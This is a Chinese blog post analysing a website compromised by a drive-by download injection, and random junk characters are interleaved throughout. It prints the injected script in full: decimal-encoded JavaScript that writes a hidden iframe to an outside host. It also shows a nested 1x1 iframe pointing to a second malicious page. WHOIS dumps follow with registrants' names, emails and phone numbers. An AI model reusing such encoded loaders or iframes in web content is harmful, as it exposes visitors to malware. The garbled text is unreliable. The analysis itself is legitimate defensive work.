首发在我的博客里面，
j|K.i/ _/ Os^ >R http://www.areway.cn/?p=175 Pp_V5,i\ 5I,$EGG N[k<@Q?*a 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
@ E_zR 4P kfUMX <script>t=’60,105,102,114,97,109,101,
n`L,]dco 32,115,114,99,61,104,116,116,112,58,47,47,
/F~X,lm* ~ 102,114,101,101,46,117,45,117,117,117,46,99,
/#t&~E_| 110,47,101,114,114,111,114,46,104,116,109,
0"4@;e_)> 32,119,105,100,116,104,61,49,48,48,32,104,
#WufZ18# 101,105,103,104,116,61,48,62,60,47,105,102,
)saR0{e0N 114,97,109,101,62′;
*gu8-7' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
+?d} 7z h 6/2v <script>t=’60,105,102,114,97,109,101,32,115,
JS W& rn 114,99,61,104,116,116,112,58,47,47,102,114,
9 P"i uU 101,101,46,117,45,117,117,117,46,99,110,47,
/EFq#+6 101,114,114,111,114,46,104,116,109,32,119,
7+ XM3 105,100,116,104,61,49,48,48,32,104,101,105,
fLB1)kTS 103,104,116,61,48,62,60,47,105,102,114,97,
F2>%KuM 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
#`/QOTnm2c document.write(t);</script>
=!<G! ^ 3] 76fF\^[ <html xmlns=”
A=`* r* http://www.w3.org/1999/xhtml PX EKV0y “>
I/s.xk_i <head>
I@./${o <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;$!I&<) <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
y JD >ny <title>首页 - 爱生活家庭网
xm^95}80yh D ,M@8 h, 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
R6@uM< 转换字符串后的大概内容是（谁点击后果自付）：
arj$dA W <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
SrZ5 0Se s4,(26y 查询玉米u-uuu.cn的详细信息：
$ D_HZ"ytu Domain Name: u-uuu.cn
!N~*EI$ ROID: 20070901s10001s64972306-cn
l{%a&/ Domain Status: ok
gq 4 . d Registrant Organization: 王雷
%f!iHo+Z Registrant Name: 王雷
4/MNqit+ Administrative Email:
czlovexs@126.com b UvK Sponsoring Registrar: 北京万网志成科技有限公司
|Fv?6qw+ Name Server:ns.yovole.com
knSuzq%* Name Server:ns1.yovole.com
v2J0u:#, Registration Date: 2007-09-01 17:54
g42T#p8^ Expiration Date: 2008-09-01 17:54
#&siHHs \ 最后PING了一下地址 都没有什么….
6%? A> ']?=[`#NL 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
=Ahw%`/&}] <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
8p =>?wG <script language=”javascript” src=”
B>|5xpZM12 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KXe
ka >
B||c(ue 这个玉米应该有可能是木马作者的：
e@j8T
gI) foafau.info的详细信息：
:_H>SR: Access to INFO WHOIS information is provided to assist persons in
mo9$NGM&} determining the contents of a domain name registration record in the
q^Inb)FeN Afilias registry database. The data in this record is provided by
<SQ(~xYi Afilias Limited for informational purposes only, and Afilias does not
8^X]z|[d2 guarantee its accuracy. This service is intended only for query-based
h7?.2Q&S access. You agree that you will use this data only for lawful purposes
,qy&|4Jz and that, under no circumstances will you use this data to: (a) allow,
oT->^4WY enable, or otherwise support the transmission by e-mail, telephone, or
=pp:j`B9( facsimile of mass unsolicited, commercial advertising or solicitations
J@`
8(\( to entities other than the data recipient’s own existing customers; or
BKA]G)G7u! (b) enable high volume, automated, electronic processes that send
P<L&c_u queries or data to the systems of Registry Operator, a Registrar, or
bp%S62Dj Afilias except as reasonably necessary to register domain names or
H[BYE
modify existing registrations. All rights reserved. Afilias reserves
4oJ$dN the right to modify these terms at any time. By submitting this query,
h5!d you agree to abide by this policy.
0yT Q{'Cc Domain ID:D22418703-LRMS
};p~A-E= Domain Name:FOAFAU.INFO
DV,DB\P$ Created On:20-Nov-2007 16:05:42 UTC
xid:" y=_& Last Updated On:20-Nov-2007 16:05:44 UTC
A&
=pw# Expiration Date:20-Nov-2008 16:05:42 UTC
la702)N{ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
W 5I =X] & Status:CLIENT DELETE PROHIBITED
rIlBH*aT Status:CLIENT RENEW PROHIBITED
s3< F Status:CLIENT TRANSFER PROHIBITED
ysVi3 eq Status:CLIENT UPDATE PROHIBITED
[; @): 28" Status:TRANSFER PROHIBITED
^
LbGH<#J Registrant ID:GODA-040110615
F[`vH Registrant Name:liu hong
cz S7-Hh@ Registrant Organization:
J@<!q Registrant Street1:beijing
8[HZ @@ Registrant Street2:
TkT-$=i Registrant Street3:
5H!%0LrJg= Registrant City:beijing
[ R\=M' Registrant State/Province:
{Zwf.., Registrant Postal Code:100000
%
$.vOFP9 Registrant Country:CN
>1 3/h]3 Registrant Phone:+86.860108888777
%,;gP.dh7 Registrant Phone Ext.:
* gHCy4u{ Registrant FAX:
Yj 3*)k Registrant FAX Ext.:
B _tQeM Registrant Email:bbbshiji@163.com
~#t*pOC5BR Admin ID:GODA-240110615
{? 2;0}3?; Admin Name:liu hong
>KHp-|0pv Admin Organization:
w &C1=v -h Admin Street1:beijing
hiIya WU Admin Street2:
Y"oDFo, Admin Street3:
"ZqEP R) Admin City:beijing
N"~ qoJO Admin State/Province:
.5z&CJDiIi Admin Postal Code:100000
p }BG w:= Admin Country:CN
Pl?}>G Admin Phone:+86.860108888777
z \^ Admin Phone Ext.:
RxMoD.kx Admin FAX:
,\}k~ U99 Admin FAX Ext.:
_T
a}B4; Admin Email:bbbshiji@163.com
;L$,gn5H Billing ID:GODA-340110615
e3pnk
=u Billing Name:liu hong
`/c@nxh Billing Organization:
B6uRJcD 4 Billing Street1:beijing
a_A J)4 Billing Street2:
T,Fm"U6[( Billing Street3:
n5\}KZh Billing City:beijing
z g)|rm Billing State/Province:
:i}@Br+R7L Billing Postal Code:100000
FXxN>\76. Billing Country:CN
}E P|Mb Billing Phone:+86.860108888777
;tX Y = Billing Phone Ext.:
"G @E6{/ Billing FAX:
e N4t1 $ Billing FAX Ext.:
d96fjj~ Billing Email:bbbshiji@163.com
p_;r%o= Tech ID:GODA-140110615
xlk5Gob* Tech Name:liu hong
<a fO 6?` Tech Organization:
z : ? : Tech Street1:beijing
d#4 Wj0x Tech Street2:
+ 2El Tech Street3:
) u-ns5 Tech City:beijing
X= SG Tech State/Province:
!;jgzi?z Tech Postal Code:100000
l*qk1H" g Tech Country:CN
shD+eHo$ Tech Phone:+86.860108888777
*s~i 2} Tech Phone Ext.:
SbCJ|z#? Tech FAX:
j+ I*Xw Tech FAX Ext.:
HMhLTl{; Tech Email:bbbshiji@163.com
$.;iu2iyo Name Server:NS27.DOMAINCONTROL.COM
Vl-D<M+i h Name Server:NS28.DOMAINCONTROL.COM
x!>d
6lgej Name Server:
:)j7 U3u Name Server:
KjC[q Name Server:
u6f4yQ Name Server:
@f\
X4!e*y Name Server:
PMQb\%iE" Name Server:
M.X}K7Z_/ Name Server:
'r6 cVBb} Name Server:
NWeV>;lh9 Name Server:
=1eV Name Server:
w{~" ;[@ Name Server:
]bf' >=bt 接着下载每个文件里面的代码：
O0-> sR 一步一步看..
LMt0'Ml9 
`Y0f st<, 
aD0Q 0C+ 
g^qz&;R] 
g~eJ
YS, 
x, }ez 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
